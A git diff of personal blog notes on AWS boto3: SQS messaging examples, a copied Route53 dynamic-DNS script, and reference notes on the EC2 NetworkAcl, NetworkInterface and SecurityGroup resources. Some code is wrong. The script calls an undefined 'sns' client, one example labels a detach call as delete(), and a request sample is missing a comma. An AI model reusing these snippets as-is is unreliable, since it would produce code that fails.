+queue.send_message(MessageBody='boto3', MessageAttributes={ + 'Author': { + 'StringValue': 'Daniel', + 'DataType': 'String' + } +}) + + +# Messages can also be sent in batches. For example, sending the two messages described above in a single request would look like the following: +response = queue.send_messages(Entries=[ + { + 'Id': '1', + 'MessageBody': 'world' + }, + { + 'Id': '2', + 'MessageBody': 'boto3', + 'MessageAttributes': { + 'Author': { + 'StringValue': 'Daniel', + 'DataType': 'String' + } + } + } +]) + +# Print out any failures +print(response.get('Failed')) +# In this case, the response contains lists of Successful and Failed messages, so you can retry failures if needed. + + + + + + +# ------------------------- Processing messages ------------------------- + # { + # 'Id': '1', + # 'MessageBody': 'world' + # }, + # { + # 'Id': '2', + # 'MessageBody': 'boto3', + # 'MessageAttributes': { + # 'Author': { + # 'StringValue': 'Daniel', + # 'DataType': 'String' + # } + # } + # } + + +# Process messages by printing out body and optional author name +for message in queue.receive_messages(MessageAttributeNames=['Author']): + # Get the custom author message attribute if it was set + author_text = '' + if message.message_attributes is not None: + author_name = message.message_attributes.get('Author').get('StringValue') + if author_name: + author_text = ' ({0})'.format(author_name) + + # Print out the body and author (if set) + print('Hello, {0}!{1}'.format(message.body, author_text)) + + # Let the queue know that the message is processed + message.delete() + + +# Given only the messages that were sent in a batch with SQS.Queue.send_messages() in the previous section, the above code will print out: +Hello, world! +Hello, boto3! (Daniel) +``` diff --git a/_posts/01Cloud/01AWS/0boto3code/2020-07-18-boto3-router53.md b/_posts/01Cloud/01AWS/0boto3code/2020-07-18-boto3-router53.md new file mode 100644 index 00000000000..7fca859ac10 --- /dev/null +++ b/_posts/01Cloud/01AWS/0boto3code/2020-07-18-boto3-router53.md @@ -0,0 +1,259 @@ +--- +title: AWS - boto3 - router53client +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, boto3] +tags: [AWS] +toc: true +image: +--- + +- [router53](#router53) + - [example](#example) + - [update53 - DynDNS with AWS Route53](#update53---dyndns-with-aws-route53) + +--- + +# router53 + +--- + + + +## example + + +--- + +### update53 - DynDNS with AWS Route53 + +please go to the link for the origin git repo, below is just a copy of it. + +ref: [update53-pub](https://github.com/z0ph/update53-pub) + +> update AWS Route53 record by your current public ip (from ipinfo.io web service) + + +1. requirements + +```bash +# install boto3 +sudo pip install boto3 + +# IAM Role attached to your EC2 instance or IAM User with AccessKey/SecretKey + +# SNS Topic (Alerting purpose) + +# Configure your server with AWS CLI : aws configure with your AccessKey ID and SecretAccess ID +aws configure + +# Create your AWS Route 53 Zone first + +# create your DNS A Record to update (home.example.com) + +# Configure your server with AWS CLI : aws configure with your AccessKey ID and SecretAccess ID + +$ git clone https://github.com/z0ph/update53-pub.git +$ cd update53-pub/python/ +$ sudo pip install -r requirements.txt + +``` + + + +2. run + +```py + +# syntax: +update53.py [YOUR_HOSTED_ZONE_ID] [YOUR_DNS] -b [YOUR_BUCKET_NAME] + +# Example with only Route53 +Run python update53.py ZLJT68NZ2IYSF home.example.com + +# Example with S3 Bucket +Run python update53.py ZLJT68NZ2IYSF home.example.com -b privatewebsite.example.com +``` + +3. the code + + +```py +# update53.py +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +from sys import exit +from requests import get +import boto3 +import json +from botocore.exceptions import ClientError as BotoClientError +import argparse +import datetime + +__version__ = '0.3' +__author__ = 'Victor GRENU' +__license__ = "GPLv3+" +__maintainer__ = "Victor GRENU" +__email__ = "victor.grenu@gmail.com" + +# GetIp Function +def getIp(): + ''' + Simple function to get your ip, using ipinfo.co + API and JSON and then update your AWS Route53 DNS A Record + ''' + return(get(('https://ipinfo.io')).json()['ip']) + +# Arguments Parser +parser = argparse.ArgumentParser(description="Update your AWS Route53 A record and S3 Bucket Policy with your new public IP address") +parser._action_groups.pop() +required = parser.add_argument_group('required arguments') +optional = parser.add_argument_group('optional arguments') + +# Required args +required.add_argument('id', help='AWS Route53\'s hosted-zone-id hosting your A record') +required.add_argument('dns', help='AWS Route53\'s A record you want to update') + +# Optional args +optional.add_argument('-b','--b','-bucket','--bucket', dest='bucket', help='S3 Bucket Name to update permissions (Bucket Policy)') +optional.add_argument('-v', '--version', action='version', version="%(prog)s - "+ __version__ +"") + +args = vars(parser.parse_args()) + +# Missing Args Checker +if not args['id']: + parser.print_help() + exit(1) + +if not args['dns']: + parser.print_help() + exit(1) + + +# setup the Variables +r53client = boto3.client('route53') +snsclient = boto3.client('sns') +hostedZoneId = args['id'] +currentIp = getIp() +date = datetime.datetime.now().strftime("%d-%m-%y-%H:%M") +myRecord = args['dns'] + +# --------- unit test: Check Hosted Zone ID exist ----------- +try: + hz = r53client.get_hosted_zone(Id=hostedZoneId) + +except BotoClientError: + print(date + " - Hosted-Zone-ID " + hostedZoneId + " is incorrect.") + exit(1) + + + + +# Get old IP from API Call (not DNS resolution) +try: + record = r53client.list_resource_record_sets( + HostedZoneId=hostedZoneId, + StartRecordType='A', + StartRecordName=myRecord, + MaxItems="1" +) + +except BotoClientError: + print(date + " - A Record " + myRecord + " does not exist.") + exit(1) + + + +# Set Variable oldIP +oldIp = record['ResourceRecordSets'][0]['ResourceRecords'][0]['Value'] + + + +# Try to update route53 +try: + if oldIp != currentIp: + message = {"Update53 - New IP set to": currentIp} + input = r53client.change_resource_record_sets( + HostedZoneId=hostedZoneId, + ChangeBatch={ + 'Comment': date, + 'Changes': [ + { + 'Action': 'UPSERT', + 'ResourceRecordSet': { + 'Name': myRecord, + 'Type': 'A', + 'TTL': 60, + 'ResourceRecords': [{'Value': currentIp},], + }, + }, + ] + } + ) + print(date + " - Current IP: " +currentIp+ " was successfully updated to Route53. Old was: " + oldIp) + + # Publish Alert to sns topic if ip change + response = sns.publish( + TargetArn='arn:aws:sns:eu-west-1:567589703415:Alert-me', + Message=json.dumps({'default': json.dumps(message)}), + MessageStructure='json' + ) + else: + print(date + " - Current IP: " +currentIp+ " is equal to old IP: " +oldIp+ ". Nothing to do with Route53.") + +except BotoClientError: + print(date + " - Malformed IP Address:", oldIp) + exit(1) + +# Try to update bucket policy +try: + if oldIp != currentIp: + s3 = boto3.client('s3') + bucket_name = args['bucket'] + # Create the bucket policy + bucket_policy = { + 'Version': '2012-10-17', + 'Statement': [{ + 'Sid': 'AddPerm', + 'Effect': 'Allow', + 'Principal': '*', + 'Action': ['s3:GetObject'], + 'Resource': "arn:aws:s3:::%s/*" % bucket_name, + 'Condition': {'IpAddress': {'aws:SourceIp': [''+ currentIp + '/32']}} + }] + } + # Convert the policy to a JSON string + bucket_policy = json.dumps(bucket_policy) + + # Set the new policy on the given bucket + s3.put_bucket_policy(Bucket=bucket_name, Policy=bucket_policy) + print(date + " - Bucket Policy of S3 Bucket: " +bucket_name+ " was successfully updated") + else: + print(date + " - Current IP: " +currentIp+ " is equal to old IP: " +oldIp+ ". Nothing to do with the S3 bucket policy.") + +except BotoClientError: + print(date + " - Malformed Bucket Name:", bucket_name) + exit(1) + +exit(0) +``` + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/0boto3code/2020-07-18-ec2-12ec2resource.NetworkAcl.md b/_posts/01Cloud/01AWS/0boto3code/2020-07-18-ec2-12ec2resource.NetworkAcl.md new file mode 100644 index 00000000000..9d07d03d31c --- /dev/null +++ b/_posts/01Cloud/01AWS/0boto3code/2020-07-18-ec2-12ec2resource.NetworkAcl.md @@ -0,0 +1,325 @@ +--- +title: AWS - boto3 - boto3.resource('ec2').NetworkACL('id') +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, boto3] +tags: [AWS] +toc: true +image: +--- + + +- [EC2 - client](#ec2---client) +- [EC2 - NetworkAcl](#ec2---networkacl) + - [Actions](#actions) + - [create_entry(kwargs_) and delete_entry(kwargs_)](#create_entrykwargs_-and-delete_entrykwargs_) + - [create_tags(kwargs_)](#create_tagskwargs_) + - [get_available_subresources()](#get_available_subresources) + - [load() and reload()](#load-and-reload) + - [replace_association(kwargs_)](#replace_associationkwargs_) + + +--- + +# EC2 - client + +Table of Contents + +- EC2 + 1. Client + 1. Paginators + 1. Waiters + 1. Service Resource + 1. ClassicAddress + 1. DhcpOptions + 1. Image + 1. Instance + 1. InternetGateway + 1. KeyPair + 1. KeyPairInfo + 1. NetworkAcl + 1. NetworkInterface + 1. NetworkInterfaceAssociation + 1. PlacementGroup + 1. Route + 1. RouteTable + 1. RouteTableAssociation + 1. SecurityGroup + 1. Snapshot + 1. Subnet + 1. Tag + 1. Volume + 1. Vpc + 1. VpcPeeringConnection + 1. VpcAddress + +--- + + +# EC2 - NetworkAcl + +_class_ EC2.NetworkAcl(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) NetworkAcl: + +```py +import boto3 + +ec2resource = boto3.resource('ec2') +ec2network_acl = ec2resource.NetworkAcl('id') +``` + +available identifiers: +- id `_(string)_ The NetworkAcl's id identifier. This **must** be set.` + +available attributes: +- associations +- entries +- is_default +- network_acl_id +- owner_id +- tags +- vpc_id + +available references: +- vpc + +available actions: +- create_entry() +- create_tags() +- delete() +- delete_entry() +- get_available_subresources() +- load() +- reload() +- replace_association() +- replace_entry() + + + +## Actions + + +### create_entry(kwargs_) and delete_entry(kwargs_) + +1. Creates an entry (a rule) in a network ACL with the specified rule number. + - Each network ACL has a set of numbered ingress rules and a separate set of numbered egress rules. When determining whether a packet should be allowed in or out of a subnet associated with the ACL, we process the entries in the ACL according to the rule numbers, in ascending order. + - Each network ACL has a set of ingress rules and a separate set of egress rules. + + > recommend that you leave room between the rule numbers (for example, 100, 110, 120, ...), and not number them one right after the other (for example, 101, 102, 103, ...). + > This makes it easier to add a rule between existing ones without having to renumber the rules. + +2. Deletes the specified ingress or egress entry (rule) from the specified network ACL. + + +After you add an entry, can't modify it; +- either replace it, or create an entry and delete the old one. + + +**Request Syntax** + +```py + +import boto3 + +ec2network_acl = boto3.resource('ec2').NetworkAcl('id') + + +response = ec2network_acl.create_entry( + CidrBlock='string', + # (_string_) -- The IPv4 network range to allow or deny, in CIDR notation (for example 172.16.0.0/24 ). + # modify the specified CIDR block to its canonical form; + # for example, if you specify 100.68.0.18/18 , we modify it to 100.68.0.0/18 . + DryRun=True|False, + Egress=True|False, + # (_boolean_) -- **[REQUIRED]** Indicates whether this is an egress rule (rule is applied to traffic leaving the subnet). + IcmpTypeCode={ + # (_dict_) -- ICMP protocol: The ICMP or ICMPv6 type and code. + # Required if specifying protocol 1 (ICMP) or protocol 58 (ICMPv6) with an IPv6 CIDR block. + 'Code': 123, + # _(integer) -- The ICMP code. A value of -1 means all codes for the specified ICMP type. + 'Type': 123 + # _(integer) -- The ICMP type. A value of -1 means all types. + }, + + Ipv6CidrBlock='string', + # (_string_) -- The IPv6 network range to allow or deny, in CIDR notation (for example 2001:db8:1234:1a00::/64 ). + PortRange={ + # (_dict_) -- TCP or UDP protocols: The range of ports the rule applies to. Required if specifying protocol 6 (TCP) or 17 (UDP). + 'From': 123, + # _(integer) -- The first port in the range. + 'To': 123 + # _(integer) -- The last port in the range. + }, + Protocol='string', + # (_string_) -- **[REQUIRED]** The protocol number. + # A value of "-1" means all protocols. + # If you specify "-1" or a protocol number other than "6" (TCP), "17" (UDP), or "1" (ICMP), traffic on all ports is allowed, regardless of any ports or ICMP types or codes that you specify. + # If you specify protocol "58" (ICMPv6) and specify an IPv4 CIDR block, traffic for all ICMP types and codes allowed, regardless of any that you specify. If you specify protocol "58" (ICMPv6) and specify an IPv6 CIDR block, you must specify an ICMP type and code. + RuleAction='allow'|'deny', + RuleNumber=123 + # (_integer_) -- **[REQUIRED]** The rule number for the entry (for example, 100). ACL entries are processed in ascending order by rule number. + # Constraints: Positive integer from 1 to 32766. The range 32767 to 65535 is reserved for internal use. +) + + + + + +response = ec2network_acl.delete_entry( + DryRun=True|False, + Egress=True|False, + # (_boolean_) -- **[REQUIRED]** Indicates whether the rule is an egress rule. + RuleNumber=123 + # (_integer_) -- **[REQUIRED]** The rule number of the entry to delete. +) + + + +response = ec2network_acl.replace_entry( + CidrBlock='string', + DryRun=True|False, + Egress=True|False, + IcmpTypeCode={ + 'Code': 123, + 'Type': 123 + }, + Ipv6CidrBlock='string', + PortRange={ + 'From': 123, + 'To': 123 + }, + Protocol='string', + RuleAction='allow'|'deny', + RuleNumber=123 +) + +``` + + +Returns: None + + + +--- + +### create_tags(kwargs_) + +- Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. +- When you specify an existing tag key, the value is overwritten with the new value. +- Each resource can have a maximum of 50 tags. +- Each tag consists of a key and optional value. +- Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +tag = ec2network_acl.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) +``` + +Return: +- Return type: list(ec2.Tag) +- A list of Tag resources + + +--- + + +### get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns +- Return type: list of str +- A list containing the name of each sub-resource for this resource + +--- + + + +### load() and reload() + +- Calls `EC2.Client.describe_network_acls()` to update the attributes of the NetworkAcl resource. +- Note that the `load()` and `reload()` methods are the same method and can be used interchangeably. + + +**Request Syntax** + +```py + +ec2network_acl = boto3.resource('ec2').NetworkAcl('id') + +ec2network_acl.load() +ec2network_acl.reload() +``` + +Returns: None + + +--- + +### replace_association(kwargs_) + +- Changes which network ACL a subnet is associated with. +- By default when you create a subnet, it's automatically associated with the default network ACL. +- This is an idempotent operation. + + +**Request Syntax** + +```py +response = ec2network_acl.replace_association( + AssociationId='string', + # (_string_) -- **[REQUIRED]** The ID of the current association between the original network ACL and the subnet. + DryRun=True|False, +) +``` + +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'NewAssociationId': 'string' + # _(string) -- The ID of the new association. +} +``` + + +replace_entry(kwargs_) + +Replaces an entry (rule) in a network ACL. For more information, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + + +**Request Syntax** + +```py +response = ec2network_acl.replace_entry( + CidrBlock='string', + DryRun=True|False, + Egress=True|False, + IcmpTypeCode={ + 'Code': 123, + 'Type': 123 + }, + Ipv6CidrBlock='string', + PortRange={ + 'From': 123, + 'To': 123 + }, + Protocol='string', + RuleAction='allow'|'deny', + RuleNumber=123 +) +``` diff --git a/_posts/01Cloud/01AWS/0boto3code/2020-07-18-ec2-13ec2resource.NetworkInterface.md b/_posts/01Cloud/01AWS/0boto3code/2020-07-18-ec2-13ec2resource.NetworkInterface.md new file mode 100644 index 00000000000..51eb32d3be3 --- /dev/null +++ b/_posts/01Cloud/01AWS/0boto3code/2020-07-18-ec2-13ec2resource.NetworkInterface.md @@ -0,0 +1,498 @@ +--- +title: AWS - boto3 - boto3.resource('ec2').NetworkInterface('id') +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, boto3] +tags: [AWS] +toc: true +image: +--- + + +- [EC2 - client](#ec2---client) +- [EC2 - NetworkInterface](#ec2---networkinterface) + - [Actions](#actions) + - [describe_attribute(kwargs_)](#describe_attributekwargs_) + - [assign_private_ip_addresses/unassign_private_ip_addresses(kwargs_) `Assign/unassign private IP to network interface`](#assign_private_ip_addressesunassign_private_ip_addresseskwargs_-assignunassign-private-ip-to-network-interface) + - [attach/delete/detach(kwargs_) `Attache/delete/detach a network interface to an instance`](#attachdeletedetachkwargs_-attachedeletedetach-a-network-interface-to-an-instance) + - [create_tags(kwargs_)](#create_tagskwargs_) + - [get_available_subresources()](#get_available_subresources) + - [load() and reload()](#load-and-reload) + - [modify_attribute(kwargs_)](#modify_attributekwargs_) + - [reset_attribute(kwargs_)](#reset_attributekwargs_) +- [EC2 - NetworkInterfaceAssociation](#ec2---networkinterfaceassociation) + - [Actions](#actions-1) + - [delete(kwargs_) `Disassociates an Elastic IP from the instance or network interface`](#deletekwargs_-disassociates-an-elastic-ip-from-the-instance-or-network-interface) + - [get_available_subresources()](#get_available_subresources-1) + - [load() and reload()](#load-and-reload-1) + + +--- + +# EC2 - client + +Table of Contents + +- EC2 + 1. Client + 1. Paginators + 1. Waiters + 1. Service Resource + 1. ClassicAddress + 1. DhcpOptions + 1. Image + 1. Instance + 1. InternetGateway + 1. KeyPair + 1. KeyPairInfo + 1. NetworkAcl + 1. NetworkInterface + 1. NetworkInterfaceAssociation + 1. PlacementGroup + 1. Route + 1. RouteTable + 1. RouteTableAssociation + 1. SecurityGroup + 1. Snapshot + 1. Subnet + 1. Tag + 1. Volume + 1. Vpc + 1. VpcPeeringConnection + 1. VpcAddress + +--- + + +# EC2 - NetworkInterface + +_class_ EC2.NetworkInterface(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) NetworkInterface: + +```py +import boto3 + +ec2resource = boto3.resource('ec2') +ec2network_interface = ec2resource.NetworkInterface('id') +``` + +available actions: +- assign_private_ip_addresses() +- attach() +- create_tags() +- delete() +- describe_attribute() +- detach() +- get_available_subresources() +- load() +- modify_attribute() +- reload() +- reset_attribute() +- unassign_private_ip_addresses() + +--- + + +## Actions + + +--- + + +### describe_attribute(kwargs_) + +- Describes a network interface attribute. +- You can specify only one attribute at a time. + + +**Request Syntax** + +```py +response = network_interface.describe_attribute( + Attribute='description'|'groupSet'|'sourceDestCheck'|'attachment', + # (_string_) -- The attribute of the network interface. This parameter is required. + DryRun=True|False, + +) +``` + +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'Attachment': { + 'AttachTime': datetime(2015, 1, 1), + 'AttachmentId': 'string', + 'DeleteOnTermination': True|False, + 'DeviceIndex': 123, + 'NetworkCardIndex': 123, + 'InstanceId': 'string', + 'InstanceOwnerId': 'string', + 'Status': 'attaching'|'attached'|'detaching'|'detached' + }, + 'Description': { + 'Value': 'string' + }, + 'Groups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'NetworkInterfaceId': 'string', + 'SourceDestCheck': { + 'Value': True|False + } +} +``` + +--- + + + + +### assign_private_ip_addresses/unassign_private_ip_addresses(kwargs_) `Assign/unassign private IP to network interface` + +1. `assign_private_ip_addresses()` + - Assigns one or more secondary private IP addresses to the specified network interface. + - specify one or more specific secondary IP addresses, + - specify the number of secondary IP addresses to be automatically assigned within the subnet's CIDR block range. + - The number of secondary IP addresses that you can assign to an instance varies by instance type. + + - When you move a secondary private IP address to another network interface, any Elastic IP address that is associated with the IP address is also moved. + + - Remapping an IP address is an asynchronous operation. + - When you move an IP address from one network interface to another, check network/interfaces/macs/mac/local-ipv4s in the instance metadata to confirm that the remapping is complete. + + - must specify either the IP addresses or the IP address count in the request. + + +2. `unassign_private_ip_addresses()` + - Unassigns one or more secondary private IP addresses from a network interface. + +**Request Syntax** + +```py + +import boto3 + +ec2network_interface = boto3.resource('ec2').NetworkInterface('id') + + +response = ec2network_interface.assign_private_ip_addresses( + AllowReassignment=True|False, + # (_boolean_) -- Indicates whether to allow an IP address that is already assigned to another network interface or instance to be reassigned to the specified network interface. + PrivateIpAddresses=[ + # (_list_) -- + # One or more IP addresses to be assigned as a secondary private IP address to the network interface. + # You can't specify this parameter when also specifying a number of secondary IP addresses. + # If you don't specify an IP address, Amazon EC2 automatically selects an IP address within the subnet range. + 'string', + ], + SecondaryPrivateIpAddressCount=123 + # (_integer_) -- The number of secondary IP addresses to assign to the network interface. + # You can't specify this parameter when also specifying private IP addresses. +) + + + +response = ec2network_interface.unassign_private_ip_addresses( + PrivateIpAddresses=[ + 'string', + # _list_) -- **[REQUIRED]** The secondary private IP addresses to unassign from the network interface. You can specify this option multiple times to unassign more than one IP address. + ] +) + +``` + +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'NetworkInterfaceId': 'string', + 'AssignedPrivateIpAddresses': [ + { + 'PrivateIpAddress': 'string' + }, + ] +} +``` + + +--- + + +### attach/delete/detach(kwargs_) `Attache/delete/detach a network interface to an instance` + + +**Request Syntax** + +```py + +import boto3 + +ec2network_interface = boto3.resource('ec2').NetworkInterface('id') + +response = ec2network_interface.attach( + DeviceIndex=123, + # (_integer_) -- **[REQUIRED]** The index of the device for the network interface attachment. + DryRun=True|False, + InstanceId='string', + # (_string_) -- **[REQUIRED]** The ID of the instance. + NetworkCardIndex=123 + # (_integer_) -- The index of the network card. Some instance types support multiple network cards. + # The primary network interface must be assigned to network card index 0. + # The default is network card index 0. +) + + + +response = ec2network_interface.delete( + DryRun=True|False, +) + + + +response = ec2network_interface.delete( + DryRun=True|False, + Force=True|False + # (_boolean_) -- Specifies whether to force a detachment. +) +# Note +# - Use the Force parameter only as a last resort to detach a network interface from a failed instance. +# - use the Force parameter to detach a network interface, +# - you might not be able to attach a different network interface to the same index on the instance without first stopping and starting the instance. +# - the instance metadata might not get updated. +# - the attributes associated with the detached network interface might still be visible. +# - The instance metadata will get updated when you stop and start the instance. +``` + + +1. `response = ec2network_interface.attach()` Return: + - Return type: dict + - **Response Syntax** + + ```py + # the output of AttachNetworkInterface. + { + 'AttachmentId': 'string', + # The ID of the network interface attachment. + 'NetworkCardIndex': 123 + # _(integer) -- The index of the network card. + } + ``` + +2. `response = ec2network_interface.delete()` Return: + - None + +3. `response = ec2network_interface.detach()` Return: + - None + + +--- + +### create_tags(kwargs_) + +- Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. +- When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +**Request Syntax** + +```py +tag = network_interface.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) +``` + +- Return type: list(ec2.Tag) +- A list of Tag resources + +--- + + +### get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. +- A list containing the name of each sub-resource for this resource +Return: +- Return type: list of str + +--- + + + +### load() and reload() + +- Calls `EC2.Client.describe_network_interfaces()`to update the attributes of the NetworkInterface resource. +- Note that the load and reload methods are the same method and can be used interchangeably. + + +**Request Syntax** + +```py +ec2network_interface.load() +ec2network_interface.reload() +``` + +Return +- None + + + + + +--- + +### modify_attribute(kwargs_) + +- Modifies the specified network interface attribute. +- You can specify only one attribute at a time. +- You can use this action to attach and detach security groups from an existing EC2 instance. + + +**Request Syntax** + +```py +response = ec2network_interface.modify_attribute( + Attachment={ + 'AttachmentId': 'string', + 'DeleteOnTermination': True|False + }, + Description={ + 'Value': 'string' + }, + DryRun=True|False, + Groups=[ + 'string', + # Changes the security groups for the network interface. + # The new set of groups you specify replaces the current set. + # You must specify at least one group, even if it's just the default security group in the VPC. + # You must specify the ID of the security group, not the name. + ], + SourceDestCheck={ + 'Value': True|False + # (_dict_) -- Indicates whether source/destination checking is enabled. + # A value of true means checking is enabled, and false means checking is disabled. + # This value must be false for a NAT instance to perform NAT. + } +) +``` + +return +- None + +--- + + +### reset_attribute(kwargs_) + +Resets a network interface attribute. You can specify only one attribute at a time. + + +**Request Syntax** + +```py +response = network_interface.reset_attribute( + DryRun=True|False, + SourceDestCheck='string' + # (_string_) -- The source/destination checking attribute. Resets the value to true . +) +``` + +return +- None + + +--- + + +# EC2 - NetworkInterfaceAssociation + +_class_ EC2.NetworkInterfaceAssociation(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) NetworkInterfaceAssociation: + +```py +import boto3 + +ec2resource = boto3.resource('ec2') +ec2network_interface_association = ec2resource.NetworkInterfaceAssociation('id') +``` + + +available actions: + +- delete() +- get_available_subresources() +- load() +- reload() + +--- + + +## Actions + + +--- + +### delete(kwargs_) `Disassociates an Elastic IP from the instance or network interface` + +- An Elastic IP address is for use in either the EC2-Classic platform or in a VPC. +- This is an idempotent operation. + - If you perform the operation more than once, Amazon EC2 doesn't return an error. + +**Request Syntax** + +```py +response = ec2network_interface_association.delete( + PublicIp='string', + # _string_) -- EC2-Classic] The Elastic IP address. Required for EC2-Classic. + DryRun=True|False +) +``` + +Return +- None + + +--- + + + +### get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Return: +- Return type: list of str +- A list containing the name of each sub-resource for this resource + + +--- + + +### load() and reload() + +Calls `EC2.Client.describe_network_interfaces()` to update the attributes of the NetworkInterfaceAssociation resource. +- Note that the load and reload methods are the same method and can be used interchangeably. + + +**Request Syntax** + +```py +ec2network_interface_association.load() +ec2network_interface_association.reload() +``` + +Return +- None diff --git a/_posts/01Cloud/01AWS/0boto3code/2020-07-18-ec2-19ec2resource.SecurityGroup.md b/_posts/01Cloud/01AWS/0boto3code/2020-07-18-ec2-19ec2resource.SecurityGroup.md new file mode 100644 index 00000000000..b0e5b94b4c2 --- /dev/null +++ b/_posts/01Cloud/01AWS/0boto3code/2020-07-18-ec2-19ec2resource.SecurityGroup.md @@ -0,0 +1,518 @@ +--- +title: AWS - boto3 - boto3.resource('ec2').SecurityGroup('id') +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, boto3] +tags: [AWS] +toc: true +image: +--- + + +- [EC2 - client](#ec2---client) +- [EC2 - SecurityGroup](#ec2---securitygroup) + - [Actions](#actions) + - [authorize_egress(kwargs_)](#authorize_egresskwargs_) + - [create_tags(kwargs_)](#create_tagskwargs_) + - [delete(kwargs_) `Deletes a security group`](#deletekwargs_-deletes-a-security-group) + - [get_available_subresources()](#get_available_subresources) + - [load() and reload()](#load-and-reload) + - [revoke_egress(kwargs_) and revoke_ingress(kwargs_)](#revoke_egresskwargs_-and-revoke_ingresskwargs_) + + +--- + +# EC2 - client + +Table of Contents + +- EC2 + 1. Client + 1. Paginators + 1. Waiters + 1. Service Resource + 1. ClassicAddress + 1. DhcpOptions + 1. Image + 1. Instance + 1. InternetGateway + 1. KeyPair + 1. KeyPairInfo + 1. NetworkAcl + 1. NetworkInterface + 1. NetworkInterfaceAssociation + 1. PlacementGroup + 1. Route + 1. RouteTable + 1. RouteTableAssociation + 1. SecurityGroup + 1. Snapshot + 1. Subnet + 1. Tag + 1. Volume + 1. Vpc + 1. VpcPeeringConnection + 1. VpcAddress + +--- + + +# EC2 - SecurityGroup + +_class_ EC2.SecurityGroup(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) SecurityGroup: + +```py +import boto3 + +ec2resource = boto3.resource('ec2') +security_group = ec2resource.SecurityGroup('id') +``` + + +available actions: +- authorize_egress() +- authorize_ingress() +- create_tags() +- delete() +- get_available_subresources() +- load() +- reload() +- revoke_egress() +- revoke_ingress() + +--- + + +## Actions + + +### authorize_egress(kwargs_) + +1. authorize_egress + - [VPC only] Adds the specified egress rules to a security group for use with a VPC. + - An outbound rule permits instances to send traffic to the specified IPv4 or IPv6 CIDR address ranges, or to the instances associated with the specified destination security groups. + +2. authorize_ingress(kwargs_) + - Adds the specified ingress rules to a security group. + - An inbound rule permits instances to receive traffic from the specified IPv4 or IPv6 CIDR address ranges, or from the instances associated with the specified destination security groups. + + +- specify a protocol for each rule (for example, TCP). + - For the TCP and UDP protocols, you must also specify the destination port or port range. + - For the ICMP protocol, you must also specify the ICMP type and code. + - You can use -1 for the type or code to mean all types or all codes. + +> Rule changes are propagated to affected instances as quickly as possible. However, a small delay might occur. + + + +**Request Syntax** + +```py +response = security_group.authorize_egress( + DryRun=True|False, + IpPermissions=[ + # (_list_) -- The sets of IP permissions. + # You can't specify a destination security group and a CIDR IP address range in the same set of permissions. + { + 'FromPort': 123, + 'IpProtocol': 'string', + + 'IpRanges': [ + # The IPv4 ranges. + { + 'CidrIp': 'string', + 'Description': 'string' + }, + + ], + 'Ipv6Ranges': [ + # The IPv6 ranges. + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + # The ID of the prefix. + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + # The status of a VPC peering connection, if applicable. + 'UserId': 'string', + # The ID of an AWS account. + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + CidrIp='string', + FromPort=123, + IpProtocol='string', + ToPort=123, + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string' +) + + + +response = ec2security_group.authorize_ingress( + DryRun=True|False + CidrIp='string', + FromPort=123, + GroupName='string', + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + IpProtocol='string', + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string', + ToPort=123, +) +``` + + +Return +- None + + +--- + +### create_tags(kwargs_) + + +**Request Syntax** + +```py +tag = ec2security_group.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) +``` + + +Return: +- Return type: list(ec2.Tag) +- A list of Tag resources + +--- + + +### delete(kwargs_) `Deletes a security group` + +If you attempt to delete a security group that is associated with an instance, or is referenced by another security group, the operation fails with `InvalidGroup.InUse` in EC2-Classic or `DependencyViolation` in EC2-VPC. + + +**Request Syntax** + 